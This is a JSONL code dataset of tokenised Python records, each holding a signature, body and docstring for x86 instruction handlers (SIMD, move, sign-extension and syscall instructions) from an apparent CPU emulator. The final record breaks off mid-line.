{"signature": "@instruction<EOL><INDENT>def PCMPGTD(cpu, op0, op1):<DEDENT>", "body": "arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>res = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, op0.size, <NUM_LIT:32>):<EOL><INDENT>res = Operators.ITEBV(op0.size, Operators.EXTRACT(arg0, i, <NUM_LIT:32>) > Operators.EXTRACT(arg1, i, <NUM_LIT:32>), res | (<NUM_LIT> << i), res)<EOL><DEDENT>op0.write(res)<EOL>", "docstring": "PCMPGTD: Packed compare for greater than with double words\nsee PCMPEQB", "id": "f16975:c2:m207"}
{"signature": "@instruction<EOL><INDENT>def PADDD(cpu, op0, op1):<DEDENT>", "body": "arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>res = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, op0.size, <NUM_LIT:32>):<EOL><INDENT>res |= ((Operators.EXTRACT(arg0, i, <NUM_LIT:32>) + Operators.EXTRACT(arg1, i, <NUM_LIT:32>)) & <NUM_LIT>) << i<EOL><DEDENT>op0.write(res)<EOL>", "docstring": "PADDD: Packed add with double words\n\nPerforms a SIMD add of the packed integers from the source operand (second operand)\nand the destination operand (first operand), and stores the packed integer results\nin the destination operand\n\nExample :\n$xmm1.v16_int8 = {..., 0x00000003, 0x00000001}\n$xmm2.v16_int8 = {..., 0x00000004, 0x00000002}\n# after paddd xmm1, xmm2, we get\n$xmm1.v16_int8 = {..., 0x00000007, 0x00000003}", "id": "f16975:c2:m208"}
{"signature": "@instruction<EOL><INDENT>def PADDQ(cpu, op0, op1):<DEDENT>", "body": "arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>res = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, op0.size, <NUM_LIT:64>):<EOL><INDENT>res |= ((Operators.EXTRACT(arg0, i, <NUM_LIT:64>) + Operators.EXTRACT(arg1, i, <NUM_LIT:64>)) & <NUM_LIT>) << i<EOL><DEDENT>op0.write(res)<EOL>", "docstring": "PADDQ: Packed add with quadruple words\nsee PADDD", "id": "f16975:c2:m209"}
{"signature": "@instruction<EOL><INDENT>def PSLLD(cpu, op0, op1):<DEDENT>", "body": "arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>res = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, op0.size, <NUM_LIT:32>):<EOL><INDENT>res |= ((Operators.EXTRACT(arg0, i, <NUM_LIT:32>) << arg1) & <NUM_LIT>) << i<EOL><DEDENT>op0.write(res)<EOL>", "docstring": "PSLLD: Packed shift left logical with double words\n\nShifts the destination operand (first operand) to the left by the number of bytes specified\nin the count operand (second operand). The empty low-order bytes are cleared (set to all 0s).\nIf the value specified by the count operand is greater than 15, the destination operand is\nset to all 0s. The count operand is an 8-bit immediate.\n\nExample :\n$xmm1.v16_int8 = {..., 0x00000003, 0x00000001}\n# after pslld xmm1, 2, we get\n$xmm1.v16_int8 = {..., 0x0000000c, 0x00000004}", "id": "f16975:c2:m210"}
{"signature": "@instruction<EOL><INDENT>def PSLLQ(cpu, op0, op1):<DEDENT>", "body": "arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>res = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:0>, op0.size, <NUM_LIT:64>):<EOL><INDENT>res |= ((Operators.EXTRACT(arg0, i, <NUM_LIT:64>) << arg1) & <NUM_LIT>) << i<EOL><DEDENT>op0.write(res)<EOL>", "docstring": "PSLLQ: Packed shift left logical with quadruple words\nsee PSLLD", "id": "f16975:c2:m211"}
{"signature": "@instruction<EOL><INDENT>def PMOVMSKB(cpu, op0, op1):<DEDENT>", "body": "arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>res = <NUM_LIT:0><EOL>for i in reversed(range(<NUM_LIT:7>, op1.size, <NUM_LIT:8>)):<EOL><INDENT>res = (res << <NUM_LIT:1>) | ((arg1 >> i) & <NUM_LIT:1>)<EOL><DEDENT>op0.write(Operators.EXTRACT(res, <NUM_LIT:0>, op0.size))<EOL>", "docstring": "Moves byte mask to general-purpose register.\n\nCreates an 8-bit mask made up of the most significant bit of each byte of the source operand\n(second operand) and stores the result in the low byte or word of the destination operand\n(first operand). The source operand is an MMX(TM) technology or an XXM register; the destination\noperand is a general-purpose register.\n\n:param cpu: current CPU.\n:param op0: destination operand.\n:param op1: source operand.", "id": "f16975:c2:m225"}
{"signature": "@instruction<EOL><INDENT>def PSRLDQ(cpu, dest, src):<DEDENT>", "body": "<EOL>temp = Operators.EXTRACT(src.read(), <NUM_LIT:0>, <NUM_LIT:8>)<EOL>temp = Operators.ITEBV(src.size, temp > <NUM_LIT:15>, <NUM_LIT:16>, temp)<EOL>dest.write(dest.read() >> (temp * <NUM_LIT:8>))<EOL>", "docstring": "Packed shift right logical double quadword.\n\nShifts the destination operand (first operand) to the right by the number\nof bytes specified in the count operand (second operand). The empty high-order\nbytes are cleared (set to all 0s). If the value specified by the count\noperand is greater than 15, the destination operand is set to all 0s.\nThe destination operand is an XMM register. The count operand is an 8-bit\nimmediate::\n\n    TEMP  =  SRC;\n    if (TEMP > 15) TEMP  =  16;\n    DEST  =  DEST >> (temp * 8);\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: count operand.", "id": "f16975:c2:m226"}
{"signature": "@instruction<EOL><INDENT>def NOP(cpu, arg0=None):<DEDENT>", "body": "", "docstring": "No Operation.\n\nPerforms no operation. This instruction is a one-byte instruction that  takes up space in the\ninstruction stream but does not affect the machine.\nThe NOP instruction is an alias mnemonic for the XCHG (E)AX, (E)AX instruction.\n\n:param cpu: current CPU.\n:param arg0: this argument is ignored.", "id": "f16975:c2:m227"}
{"signature": "@instruction<EOL><INDENT>def MOVZX(cpu, op0, op1):<DEDENT>", "body": "op0.write(Operators.ZEXTEND(op1.read(), op0.size))<EOL>", "docstring": "Moves with zero-extend.\n\nCopies the contents of the source operand (register or memory location) to the destination\noperand (register) and zero extends the value to 16 or 32 bits. The size of the converted value\ndepends on the operand-size attribute::\n\n        OP0  =  ZeroExtend(OP1);\n\n:param cpu: current CPU.\n:param op0: destination operand.\n:param op1: source operand.", "id": "f16975:c2:m229"}
{"signature": "@instruction<EOL><INDENT>def MOVSX(cpu, op0, op1):<DEDENT>", "body": "op0.write(Operators.SEXTEND(op1.read(), op1.size, op0.size))<EOL>", "docstring": "Moves with sign-extension.\n\nCopies the contents of the source operand (register or memory location) to the destination\noperand (register) and sign extends the value to 16::\n\n        OP0  =  SignExtend(OP1);\n\n:param cpu: current CPU.\n:param op0: destination operand.\n:param op1: source operand.", "id": "f16975:c2:m230"}
{"signature": "@instruction<EOL><INDENT>def MOVSXD(cpu, op0, op1):<DEDENT>", "body": "op0.write(Operators.SEXTEND(op1.read(), op1.size, op0.size))<EOL>", "docstring": "Move DWORD with sign extension to QWORD.", "id": "f16975:c2:m231"}
{"signature": "@instruction<EOL><INDENT>def CQO(cpu):<DEDENT>", "body": "res = Operators.SEXTEND(cpu.RAX, <NUM_LIT:64>, <NUM_LIT>)<EOL>cpu.RAX = Operators.EXTRACT(res, <NUM_LIT:0>, <NUM_LIT:64>)<EOL>cpu.RDX = Operators.EXTRACT(res, <NUM_LIT:64>, <NUM_LIT:64>)<EOL>", "docstring": "RDX:RAX = sign-extend of RAX.", "id": "f16975:c2:m232"}
{"signature": "@instruction<EOL><INDENT>def CDQE(cpu):<DEDENT>", "body": "cpu.RAX = Operators.SEXTEND(cpu.EAX, <NUM_LIT:32>, <NUM_LIT:64>)<EOL>", "docstring": "RAX = sign-extend of EAX.", "id": "f16975:c2:m233"}
{"signature": "@instruction<EOL><INDENT>def CDQ(cpu):<DEDENT>", "body": "cpu.EDX = Operators.EXTRACT(Operators.SEXTEND(cpu.EAX, <NUM_LIT:32>, <NUM_LIT:64>), <NUM_LIT:32>, <NUM_LIT:32>)<EOL>", "docstring": "EDX:EAX = sign-extend of EAX", "id": "f16975:c2:m234"}
{"signature": "@instruction<EOL><INDENT>def CWDE(cpu):<DEDENT>", "body": "bit = Operators.EXTRACT(cpu.AX, <NUM_LIT:15>, <NUM_LIT:1>)<EOL>cpu.EAX = Operators.SEXTEND(cpu.AX, <NUM_LIT:16>, <NUM_LIT:32>)<EOL>cpu.EDX = Operators.SEXTEND(bit, <NUM_LIT:1>, <NUM_LIT:32>)<EOL>", "docstring": "Converts word to doubleword.\n\n::\n    DX = sign-extend of AX.\n\n:param cpu: current CPU.", "id": "f16975:c2:m235"}
{"signature": "@instruction<EOL><INDENT>def CBW(cpu):<DEDENT>", "body": "cpu.AX = Operators.SEXTEND(cpu.AL, <NUM_LIT:8>, <NUM_LIT:16>)<EOL>", "docstring": "Converts byte to word.\n\nDouble the size of the source operand by means of sign extension::\n\n        AX = sign-extend of AL.\n\n:param cpu: current CPU.", "id": "f16975:c2:m236"}
{"signature": "@instruction<EOL><INDENT>def RDTSC(cpu):<DEDENT>", "body": "val = cpu.icount<EOL>cpu.RAX = val & <NUM_LIT><EOL>cpu.RDX = (val >> <NUM_LIT:32>) & <NUM_LIT><EOL>", "docstring": "Reads time-stamp counter.\n\nLoads the current value of the processor's time-stamp counter into the\nEDX:EAX registers.  The time-stamp counter is contained in a 64-bit\nMSR. The high-order 32 bits of the MSR are loaded into the EDX\nregister, and the low-order 32 bits are loaded into the EAX register.\nThe processor increments the time-stamp counter MSR every clock cycle\nand resets it to 0 whenever the processor is reset.\n\n:param cpu: current CPU.", "id": "f16975:c2:m237"}
{"signature": "@instruction<EOL><INDENT>def FNSTCW(cpu, dest):<DEDENT>", "body": "cpu.write_int(dest.address(), cpu.FPCW, <NUM_LIT:16>)<EOL>", "docstring": "Stores x87 FPU Control Word.\n\nStores the current value of the FPU control word at the specified destination in memory.\nThe FSTCW instruction checks for and handles pending unmasked floating-point exceptions\nbefore storing the control word; the FNSTCW instruction does not::\n\n    DEST  =  FPUControlWord;\n\n:param cpu: current CPU.\n:param dest: destination operand.", "id": "f16975:c2:m243"}
{"signature": "@instruction<EOL><INDENT>def SYSCALL(cpu):<DEDENT>", "body": "cpu.RCX = cpu.RIP<EOL>cpu.R11 = cpu.RFLAGS<EOL>raise Syscall()<EOL>", "docstring": "Calls to interrupt procedure.\n\nThe INT n instruction generates a call to the interrupt or exception handler specified\nwith the destination operand. The INT n instruction is the general mnemonic for executing\na software-generated call to an interrupt handler. The INTO instruction is a special\nmnemonic for calling overflow exception (#OF), interrupt vector number 4. The overflow\ninterrupt checks the OF flag in the EFLAGS register and calls the overflow interrupt handler\nif the OF flag is set to 1.\n\n:param cpu: current CPU.", "id": "f16975:c2:m244"}
{"signature": "@instruction<EOL><INDENT>def MOVLPD(cpu, dest, src):<DEDENT>", "body": "value = src.read()<EOL>if src.size == <NUM_LIT:64> and dest.size == <NUM_LIT>:<EOL><INDENT>value = (dest.read() & <NUM_LIT>) | Operators.ZEXTEND(value, <NUM_LIT>)<EOL><DEDENT>dest.write(value)<EOL>", "docstring": "Moves low packed double-precision floating-point value.\n\nMoves a double-precision floating-point value from the source operand (second operand) and the\ndestination operand (first operand). The source and destination operands can be an XMM register\nor a 64-bit memory location. This instruction allows double-precision floating-point values to be moved\nto and from the low quadword of an XMM register and memory. It cannot be used for register to register\nor memory to memory moves. When the destination operand is an XMM register, the high quadword of the\nregister remains unchanged.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m245"}
{"signature": "@instruction<EOL><INDENT>def MOVHPD(cpu, dest, src):<DEDENT>", "body": "if src.size == <NUM_LIT>:<EOL><INDENT>assert dest.size == <NUM_LIT:64><EOL>dest.write(Operators.EXTRACT(src.read(), <NUM_LIT:64>, <NUM_LIT:64>))<EOL><DEDENT>else:<EOL><INDENT>assert src.size == <NUM_LIT:64> and dest.size == <NUM_LIT><EOL>value = Operators.EXTRACT(dest.read(), <NUM_LIT:0>, <NUM_LIT:64>)  <EOL>dest.write(Operators.CONCAT(<NUM_LIT>, src.read(), value))<EOL><DEDENT>", "docstring": "Moves high packed double-precision floating-point value.\n\nMoves a double-precision floating-point value from the source operand (second operand) and the\ndestination operand (first operand). The source and destination operands can be an XMM register\nor a 64-bit memory location. This instruction allows double-precision floating-point values to be moved\nto and from the high quadword of an XMM register and memory. It cannot be used for register to\nregister or memory to memory moves. When the destination operand is an XMM register, the low quadword\nof the register remains unchanged.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m246"}
{"signature": "@instruction<EOL><INDENT>def PSUBB(cpu, dest, src):<DEDENT>", "body": "result = []<EOL>value_a = dest.read()<EOL>value_b = src.read()<EOL>for i in reversed(range(<NUM_LIT:0>, dest.size, <NUM_LIT:8>)):<EOL><INDENT>a = Operators.EXTRACT(value_a, i, <NUM_LIT:8>)<EOL>b = Operators.EXTRACT(value_b, i, <NUM_LIT:8>)<EOL>result.append((a - b) & <NUM_LIT>)<EOL><DEDENT>dest.write(Operators.CONCAT(<NUM_LIT:8> * len(result), *result))<EOL>", "docstring": "Packed subtract.\n\nPerforms a SIMD subtract of the packed integers of the source operand (second operand) from the packed\nintegers of the destination operand (first operand), and stores the packed integer results in the\ndestination operand. The source operand can be an MMX(TM) technology register or a 64-bit memory location,\nor it can be an XMM register or a 128-bit memory location. The destination operand can be an MMX or an XMM\nregister.\nThe PSUBB instruction subtracts packed byte integers. When an individual result is too large or too small\nto be represented in a byte, the result is wrapped around and the low 8 bits are written to the\ndestination element.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m247"}
{"signature": "@instruction<EOL><INDENT>def POR(cpu, dest, src):<DEDENT>", "body": "res = dest.write(dest.read() | src.read())<EOL>", "docstring": "Performs a bitwise logical OR operation on the source operand (second operand) and the destination operand\n(first operand) and stores the result in the destination operand. The source operand can be an MMX technology\nregister or a 64-bit memory location or it can be an XMM register or a 128-bit memory location. The destination\noperand can be an MMX technology register or an XMM register. Each bit of the result is set to 1 if either\nor both of the corresponding bits of the first and second operands are 1; otherwise, it is set to 0.", "id": "f16975:c2:m248"}
{"signature": "@instruction<EOL><INDENT>def XORPS(cpu, dest, src):<DEDENT>", "body": "res = dest.write(dest.read() ^ src.read())<EOL>", "docstring": "Performs a bitwise logical OR operation on the source operand (second operand) and the destination operand\n(first operand) and stores the result in the destination operand. The source operand can be an MMX technology\nregister or a 64-bit memory location or it can be an XMM register or a 128-bit memory location. The destination\noperand can be an MMX technology register or an XMM register. Each bit of the result is set to 1 if either\nor both of the corresponding bits of the first and second operands are 1; otherwise, it is set to 0.", "id": "f16975:c2:m249"}
{"signature": "@instruction<EOL><INDENT>def VORPD(cpu, dest, src, src2):<DEDENT>", "body": "res = dest.write(src.read() | src2.read())<EOL>", "docstring": "Performs a bitwise logical OR operation on the source operand (second operand) and second source operand (third operand)\n and stores the result in the destination operand (first operand).", "id": "f16975:c2:m250"}
{"signature": "@instruction<EOL><INDENT>def VORPS(cpu, dest, src, src2):<DEDENT>", "body": "res = dest.write(src.read() | src2.read())<EOL>", "docstring": "Performs a bitwise logical OR operation on the source operand (second operand) and second source operand (third operand)\n and stores the result in the destination operand (first operand).", "id": "f16975:c2:m251"}
{"signature": "@instruction<EOL><INDENT>def MOVAPS(cpu, dest, src):<DEDENT>", "body": "dest.write(src.read())<EOL>", "docstring": "Moves aligned packed single-precision floating-point values.\n\nMoves a double quadword containing four packed single-precision floating-point numbers from the\nsource operand (second operand) to the destination operand (first operand). This instruction can be\nused to load an XMM register from a 128-bit memory location, to store the contents of an XMM register\ninto a 128-bit memory location, or move data between two XMM registers.\nWhen the source or destination operand is a memory operand, the operand must be aligned on a 16-byte\nboundary or a general-protection exception (#GP) will be generated::\n\n        DEST  =  SRC;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m254"}
{"signature": "@instruction<EOL><INDENT>def MOVQ(cpu, dest, src):<DEDENT>", "body": "<EOL>if dest.size == src.size and dest.size == <NUM_LIT:64>:<EOL><INDENT>dest.write(src.read())<EOL><DEDENT>elif dest.size == src.size and dest.size == <NUM_LIT>:<EOL><INDENT>src_lo = Operators.EXTRACT(src.read(), <NUM_LIT:0>, <NUM_LIT:64>)<EOL>dest.write(Operators.ZEXTEND(src_lo, <NUM_LIT>))<EOL><DEDENT>elif dest.size == <NUM_LIT> and src.size == <NUM_LIT:64>:<EOL><INDENT>dest.write(Operators.ZEXTEND(src.read(), dest.size))<EOL><DEDENT>elif dest.size == <NUM_LIT:64> and src.size == <NUM_LIT>:<EOL><INDENT>dest.write(Operators.EXTRACT(src.read(), <NUM_LIT:0>, dest.size))<EOL><DEDENT>else:<EOL><INDENT>msg = '<STR_LIT>'<EOL>logger.error(msg)<EOL>raise Exception(msg)<EOL><DEDENT>", "docstring": "Move quadword.\n\nCopies a quadword from the source operand (second operand) to the destination operand (first operand).\nThe source and destination operands can be MMX(TM) technology registers, XMM registers, or 64-bit memory\nlocations. This instruction can be used to move a between two MMX registers or between an MMX register\nand a 64-bit memory location, or to move data between two XMM registers or between an XMM register and\na 64-bit memory location. The instruction cannot be used to transfer data between memory locations.\nWhen the source operand is an XMM register, the low quadword is moved; when the destination operand is\nan XMM register, the quadword is stored to the low quadword of the register, and the high quadword is\ncleared to all 0s::\n\n    MOVQ instruction when operating on MMX registers and memory locations:\n\n    DEST  =  SRC;\n\n    MOVQ instruction when source and destination operands are XMM registers:\n\n    DEST[63-0]  =  SRC[63-0];\n\n    MOVQ instruction when source operand is XMM register and destination operand is memory location:\n\n    DEST  =  SRC[63-0];\n\n    MOVQ instruction when source operand is memory location and destination operand is XMM register:\n\n    DEST[63-0]  =  SRC;\n    DEST[127-64]  =  0000000000000000H;\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m255"}
{"signature": "@instruction<EOL><INDENT>def MOVSD(cpu, dest, src):<DEDENT>", "body": "assert dest.type != '<STR_LIT>' or src.type != '<STR_LIT>'<EOL>value = Operators.EXTRACT(src.read(), <NUM_LIT:0>, <NUM_LIT:64>)<EOL>if dest.size > src.size:<EOL><INDENT>value = Operators.ZEXTEND(value, dest.size)<EOL><DEDENT>dest.write(value)<EOL>", "docstring": "Move Scalar Double-Precision Floating-Point Value\n\nMoves a scalar double-precision floating-point value from the source\noperand (second operand) to the destination operand (first operand).\nThe source and destination operands can be XMM registers or 64-bit memory\nlocations. This instruction can be used to move a double-precision\nfloating-point value to and from the low quadword of an XMM register and\na 64-bit memory location, or to move a double-precision floating-point\nvalue between the low quadwords of two XMM registers. The instruction\ncannot be used to transfer data between memory locations.\nWhen the source and destination operands are XMM registers, the high\nquadword of the destination operand remains unchanged. When the source\noperand is a memory location and destination operand is an XMM registers,\nthe high quadword of the destination operand is cleared to all 0s.\n\n:param cpu: current CPU.\n:param dest: destination operand.\n:param src: source operand.", "id": "f16975:c2:m256"}
{"signature": "@instruction<EOL><INDENT>def MOVSS(cpu, dest, src):<DEDENT>", "body": "if dest.type == '<STR_LIT>' and src.type == '<STR_LIT>':<EOL><INDENT>assert dest.size == <NUM_LIT> and src.size == <NUM_LIT><EOL>dest.write(dest.read() & ~<NUM_LIT> | src.read() & <NUM_LIT>)<EOL><DEDENT>elif dest.type == '<STR_LIT>':<EOL><INDENT>assert src.type == '<STR_LIT>'<EOL>dest.write(Operators.EXTRACT(src.read(), <NUM_LIT:0>, dest.size))<EOL><DEDENT>else:<EOL><INDENT>assert src.type == '<STR_LIT>' and dest.type == '<STR_LIT>'<EOL>assert src.size == <NUM_LIT:32> and dest.size == <NUM_LIT><EOL>dest.write(Operators.ZEXTEND(src.read(), <NUM_LIT>))<EOL><DEDENT>", "docstring": "Moves a scalar single-precision floating-point value\n\nMoves a scalar single-precision floating-point value from the source operand (second operand)\nto the destination operand (first operand). The source and destination operands can be XMM\nregisters or 32-bit memory locations. This instruction can be used to move a single-precision\nfloating-point value to and from the low doubleword of an XMM register and a 32-bit memory\nlocation, or to move a single-precision floating-point value between the low doublewords of\ntwo XMM registers. The instruction cannot be used to transfer data between memory locations.\nWhen the source and destination operands are XMM registers, the three high-order doublewords of the\ndestination operand remain unchanged. When the source operand is a memory location and destination\noperand is an XMM registers, the three high-order doublewords of the destination operand are cleared to all 0s.\n\n//MOVSS instruction when source and destination operands are XMM registers:\nif(IsXMM(Source) && IsXMM(Destination))\n    Destination[0..31] = Source[0..31];\n    //Destination[32..127] remains unchanged\n    //MOVSS instruction when source operand is XMM register and destination operand is memory location:\nelse if(IsXMM(Source) && IsMemory(Destination))\n    Destination = Source[0..31];\n//MOVSS instruction when source operand is memory location and destination operand is XMM register:\nelse {\n        Destination[0..31] = Source;\n        Destination[32..127] = 0;\n}", "id": "f16975:c2:m257"}
{"signature": "@instruction<EOL><INDENT>def VMOVDQA(cpu, dest, src):<DEDENT>", "body": "<EOL>dest.write(src.read())<EOL>", "docstring": "Move Aligned Double Quadword\n\nMoves 128 bits of packed integer values from the source operand (second\noperand) to the destination operand (first operand). This instruction\ncan be used to load an XMM register from a 128-bit memory location, to\nstore the contents of an XMM register into a 128-bit memory location, or\nto move data between two XMM registers.\n\nWhen the source or destination operand is a memory operand, the operand\nmust be aligned on a 16-byte boundary or a general-protection exception\n(#GP) will be generated. To move integer data to and from unaligned\nmemory locations, use the VMOVDQU instruction.", "id": "f16975:c2:m258"}
{"signature": "@instruction<EOL><INDENT>def VMOVDQU(cpu, dest, src):<DEDENT>", "body": "<EOL>dest.write(src.read())<EOL>", "docstring": "Move Unaligned Double Quadword\n\nMoves 128 bits of packed integer values from the source operand (second operand)\nto the destination operand (first operand). This instruction can be used to load\nan XMM register from a 128-bit memory location, to store the contents of an XMM\nregister into a 128-bit memory location, or to move data between two XMM registers.\nWhen the source or destination operand is a memory operand, the operand may be\nunaligned on a 16-byte boundary without causing a general-protection exception\n(#GP) to be generated.\n\n    VMOVDQU (VEX.128 encoded version)\n    DEST[127:0] <- SRC[127:0]\n    DEST[VLMAX-1:128] <- 0\n    VMOVDQU (VEX.256 encoded version)\n    DEST[255:0] <- SRC[255:0]", "id": "f16975:c2:m259"}
{"signature": "@instruction<EOL><INDENT>def VEXTRACTF128(cpu, dest, src, offset):<DEDENT>", "body": "offset = offset.read()<EOL>dest.write(Operators.EXTRACT(src.read(), offset * <NUM_LIT>, (offset + <NUM_LIT:1>) * <NUM_LIT>))<EOL>", "docstring": "Extract Packed Floating-Point Values\n\n        Extracts 128-bits of packed floating-point values from the source\n        operand (second operand) at an 128-bit offset from imm8[0] into the\n        destination operand (first operand). The destination may be either an\n        XMM register or an 128-bit memory location.", "id": "f16975:c2:m260"}
{"signature": "@instruction<EOL><INDENT>def PREFETCHT0(cpu, arg):<DEDENT>", "body": "", "docstring": "Not implemented.\n\nPerforms no operation.", "id": "f16975:c2:m261"}
{"signature": "@instruction<EOL><INDENT>def PREFETCHT1(cpu, arg):<DEDENT>", "body": "", "docstring": "Not implemented.\n\nPerforms no operation.", "id": "f16975:c2:m262"}
{"signature": "@instruction<EOL><INDENT>def PREFETCHT2(cpu, arg):<DEDENT>", "body": "", "docstring": "Not implemented.\n\nPerforms no operation.", "id": "f16975:c2:m263"}
{"signature": "@instruction<EOL><INDENT>def PREFETCHTNTA(cpu, arg):<DEDENT>", "body": "", "docstring": "Not implemented.\n\nPerforms no operation.", "id": "f16975:c2:m264"}
{"signature": "@instruction<EOL><INDENT>def PALIGNR(cpu, dest, src, offset):<DEDENT>", "body": "dest.write(<EOL>Operators.EXTRACT(<EOL>Operators.CONCAT(dest.size * <NUM_LIT:2>, dest.read(), src.read()),<EOL>offset.read() * <NUM_LIT:8>,<EOL>dest.size))<EOL>", "docstring": "ALIGNR concatenates the destination operand (the first operand) and the source\n            operand (the second operand) into an intermediate composite, shifts the composite\n            at byte granularity to the right by a constant immediate, and extracts the right-\n            aligned result into the destination.", "id": "f16975:c2:m267"}
{"signature": "@instruction<EOL><INDENT>def PSLLDQ(cpu, dest, src):<DEDENT>", "body": "count = Operators.ZEXTEND(src.read(), dest.size * <NUM_LIT:2>)<EOL>byte_count = Operators.ITEBV(src.size * <NUM_LIT:2>, count > <NUM_LIT:15>, <NUM_LIT:16>, count)<EOL>bit_count = byte_count * <NUM_LIT:8><EOL>val = Operators.ZEXTEND(dest.read(), dest.size * <NUM_LIT:2>)<EOL>val = val << (Operators.ZEXTEND(bit_count, dest.size * <NUM_LIT:2>))<EOL>dest.write(Operators.EXTRACT(val, <NUM_LIT:0>, dest.size))<EOL>", "docstring": "Packed Shift Left Logical Double Quadword\n        Shifts the destination operand (first operand) to the left by the number\n         of bytes specified in the count operand (second operand). The empty low-order\n         bytes are cleared (set to all 0s). If the value specified by the count\n         operand is greater than 15, the destination operand is set to all 0s.\n         The destination operand is an XMM register. The count operand is an 8-bit\n         immediate.\n\n            TEMP  =  COUNT;\n            if (TEMP > 15) TEMP  =  16;\n            DEST  =  DEST << (TEMP * 8);", "id": "f16975:c2:m268"}
{"signature": "@instruction<EOL><INDENT>def PSRLQ(cpu, dest, src):<DEDENT>", "body": "count = src.read()<EOL>count = Operators.ITEBV(src.size, Operators.UGT(count, <NUM_LIT>), <NUM_LIT:64>, count)<EOL>count = Operators.EXTRACT(count, <NUM_LIT:0>, <NUM_LIT:64>)<EOL>if dest.size == <NUM_LIT:64>:<EOL><INDENT>dest.write(dest.read() >> count)<EOL><DEDENT>else:<EOL><INDENT>hi = Operators.EXTRACT(dest.read(), <NUM_LIT:64>, <NUM_LIT:64>) >> count<EOL>low = Operators.EXTRACT(dest.read(), <NUM_LIT:0>, <NUM_LIT:64>) >> count<EOL>dest.write(Operators.CONCAT(<NUM_LIT>, hi, low))<EOL><DEDENT>", "docstring": "Shift Packed Data Right Logical\n\n        Shifts the bits in the individual quadword in the destination operand to the right by\n        the number of bits specified in the count operand . As the bits in the data elements\n        are shifted right, the empty high-order bits are cleared (set to 0). If the value\n        specified by the count operand is greater than  63, then the destination operand is set\n        to all 0s.\n\n        if(OperandSize == 64) {\n                        //PSRLQ instruction with 64-bit operand:\n                        if(Count > 63) Destination[64..0] = 0;\n                        else Destination = ZeroExtend(Destination >> Count);\n                }\n                else {\n                        //PSRLQ instruction with 128-bit operand:\n                        if(Count > 15) Destination[128..0] = 0;\n                        else {\n                                Destination[0..63] = ZeroExtend(Destination[0..63] >> Count);\n                                Destination[64..127] = ZeroExtend(Destination[64..127] >> Count);\n                        }\n                }", "id": "f16975:c2:m269"}
{"signature": "@instruction<EOL><INDENT>def SYSENTER(cpu):<DEDENT>", "body": "raise Syscall()<EOL>", "docstring": "Calls to system\n\nExecutes a fast call to a level 0 system procedure or routine\n\n:param cpu: current CPU.", "id": "f16975:c2:m272"}
{"signature": "@instruction<EOL><INDENT>def TZCNT(cpu, dest, src):<DEDENT>", "body": "value = src.read()<EOL>flag = Operators.EXTRACT(value, <NUM_LIT:0>, <NUM_LIT:1>) == <NUM_LIT:1><EOL>res = <NUM_LIT:0><EOL>for pos in range(<NUM_LIT:1>, src.size):<EOL><INDENT>res = Operators.ITEBV(dest.size, flag, res, pos)<EOL>flag = Operators.OR(flag, Operators.EXTRACT(value, pos, <NUM_LIT:1>) == <NUM_LIT:1>)<EOL><DEDENT>cpu.CF = res == src.size<EOL>cpu.ZF = res == <NUM_LIT:0><EOL>dest.write(res)<EOL>", "docstring": "Count the number of trailing least significant zero bits in source\noperand (second operand) and returns the result in destination\noperand (first operand). TZCNT is an extension of the BSF instruction.\n\nThe key difference between TZCNT and BSF instruction is that TZCNT\nprovides operand size as output when source operand is zero while in\nthe case of BSF instruction, if source operand is zero, the content of\ndestination operand are undefined. On processors that do not support\nTZCNT, the instruction byte encoding is executed as BSF", "id": "f16975:c2:m273"}
{"signature": "@instruction<EOL><INDENT>def VPSHUFB(cpu, op0, op1, op3):<DEDENT>", "body": "size = op0.size<EOL>arg0 = op0.read()<EOL>arg1 = op1.read()<EOL>arg3 = Operators.ZEXTEND(op3.read(), size)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT:7>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, (arg1 >> ((arg3 >> <NUM_LIT:0>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT:15>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT:8>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT:8>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT:16>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT:16>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT:32>) & <NUM_LIT:7> * <NUM_LIT:8>)) & <NUM_LIT>) << <NUM_LIT:32>)<EOL>arg0 |= Operators.ITEBV(size, Operators.EXTRACT(arg3, <NUM_LIT>, <NUM_LIT:1>) == <NUM_LIT:1>, <NUM_LIT:0>, ((arg1 >> ((arg3 >> <NUM_LIT>) & 